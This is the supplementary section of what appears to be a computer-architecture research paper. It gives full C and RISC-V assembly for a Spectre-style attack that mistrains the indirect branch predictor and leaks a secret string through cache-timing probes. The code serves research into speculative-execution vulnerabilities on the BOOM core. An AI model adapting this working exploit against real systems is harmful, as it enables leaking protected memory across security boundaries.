[27] J. Zhao, B. Korpan, A. Gonzalez, and K. Asanovic. Sonicboom: The 3rd generation berkeley out-of-order machine. In *Fourth Workshop on Computer Architecture Research with RISC-V*, volume 5, 2020.

Supplementary Material

```
#include <stdio.h>
#include <stdint.h>
#include "encoding.h"
#include "cache.h"

#define TRAIN_TIMES 40 // assumption is that you have a 3 bit counter in the predictor
#define ATTACK_SAME_ROUNDS 10
#define SECRET_SZ 5
#define CACHE_HIT_THRESHOLD 50

uint64_t array1_sz = 10;
uint64_t passInIdx;
uint8_t array1[10] = {1,2,3,4,5,6,7,8,9,10};
uint8_t array2[256 * L1_BLOCK_SZ_BYTES];
char* secretString = "BOOM!";

extern void want(void);
extern void gadget(void);


int main(void){

    static uint64_t results[256];
    uint64_t start, diff;
    uint64_t wantAddr = (uint64_t)(&want);
    uint64_t gadgetAddr = (uint64_t)(&gadget);
    uint64_t attackIdx = (uint64_t)(secretString - (char*)array1), randIdx;
    uint64_t passInAddr;
    uint8_t dummy = 0;

    char guessedSecret[SECRET_SZ];

    for(uint64_t i = 0; i < SECRET_SZ; i++) {

        for(uint64_t cIdx = 0; cIdx < 256; ++cIdx)
                results[cIdx] = 0;

        for(uint64_t atkRound = 0; atkRound < ATTACK_SAME_ROUNDS; ++atkRound) {

            flushCache((uint64_t)array2, sizeof(array2));

            for(int64_t j = TRAIN_TIMES; j >= 0; j--){

                    passInAddr = ((j % (TRAIN_TIMES+1)) - 1) & ~0xFFFF;
                    passInAddr = (passInAddr | (passInAddr >> 16));
                    passInAddr = gadgetAddr ^ (passInAddr & (wantAddr ^ gadgetAddr));

                    randIdx = atkRound % array1_sz;
                    passInIdx = ((j % (TRAIN_TIMES+1)) - 1) & ~0xFFFF;
                    passInIdx = (passInIdx | (passInIdx >> 16));
                    passInIdx = randIdx ^ (passInIdx & (attackIdx ^ randIdx));

                    // set of constant takens to make the BHR be in a all taken state
                    for(uint64_t k = 0; k < 100; ++k){
                        asm("");
                    }

                    // this calls the function using jalr and delays the addr passed in through fdiv
                    asm volatile(
                        "addi %[addr], %[addr], -2\n"
                        "addi t1, zero, 2\n"
                        "slli t2, t1, 0x4\n"
                        "fcvt.s.lu fa4, t1\n"
                        "fcvt.s.lu fa5, t2\n"
                        "fdiv.s fa5, fa5, fa4\n"
                        "fdiv.s fa5, fa5, fa4\n"
                        "fdiv.s fa5, fa5, fa4\n"
                        "fdiv.s fa5, fa5, fa4\n"
                        "fcvt.lu.s      t2, fa5, rtz\n"
                        "add %[addr], %[addr], t2\n"
                        "jalr ra, %[addr], 0\n"
                        :
                        : [addr] "r" (passInAddr)
                        : "t1", "t2", "fa4", "fa5");

                }

            for (uint64_t i = 0; i < 256; ++i){
```

```
                    start = rdcycle();
                    dummy &= array2[i * L1_BLOCK_SZ_BYTES];
                    diff = (rdcycle() - start);
                    if (diff < CACHE_HIT_THRESHOLD)
                        results[i] += 1;
            }
        }

        uint64_t max = results[0], index = 0;
        for (uint64_t i = 1; i < 256; i++)
            if (max < results[i]) {
                max = results[i];
                index = i;
            }
        printf("The attacker guessed character %c %ld times.\n", index, max);

        guessedSecret[i] = index;

        attackIdx++;
    }

    guessedSecret[SECRET_SZ] = 0;

    printf("The guessed secret is %s\n", guessedSecret);

    return 0;
}
```

Listing 1: RISC-V Full Spectre Attack adapted from [10].

```
.section .text
.global gadget
.global want

gadget:

addi    sp,sp,-16
sd      ra,8(sp)
sd      s0,0(sp)
addi    s0,sp,16

la a4,  array1
lw a5,  passInIdx
add     a5,a5,a4
lbu     a5,0(a5)
sext.w  a5,a5
slliw   a5,a5,0x6
sext.w  a5,a5
la a4,  array2
add     a5,a5,a4
lbu     a5,0(a5)


ld      ra,8(sp)
ld      s0,0(sp)
addi    sp,sp,16
jr      ra

want:
addi    sp,sp,-16
sd      ra,8(sp)
sd      s0,0(sp)
addi    s0,sp,16

nop

ld      ra,8(sp)
ld      s0,0(sp)
addi    sp,sp,16
jr      ra
```

Listing 2: Extern functions used for the indirect calls.

```
.section .text
.global gadget
.global want
.extern end

gadget:

la a4,  array1
lw a5,  passInIdx
add     a5,a5,a4
lbu     a5,0(a5)
sext.w  a5,a5
slliw   a5,a5,0x6
sext.w  a5,a5
la a4,  array2
add     a5,a5,a4
lbu     a5,0(a5)

want:

nop
j       end
```

Listing 3: Extern snippets of code used for the indirect jumps.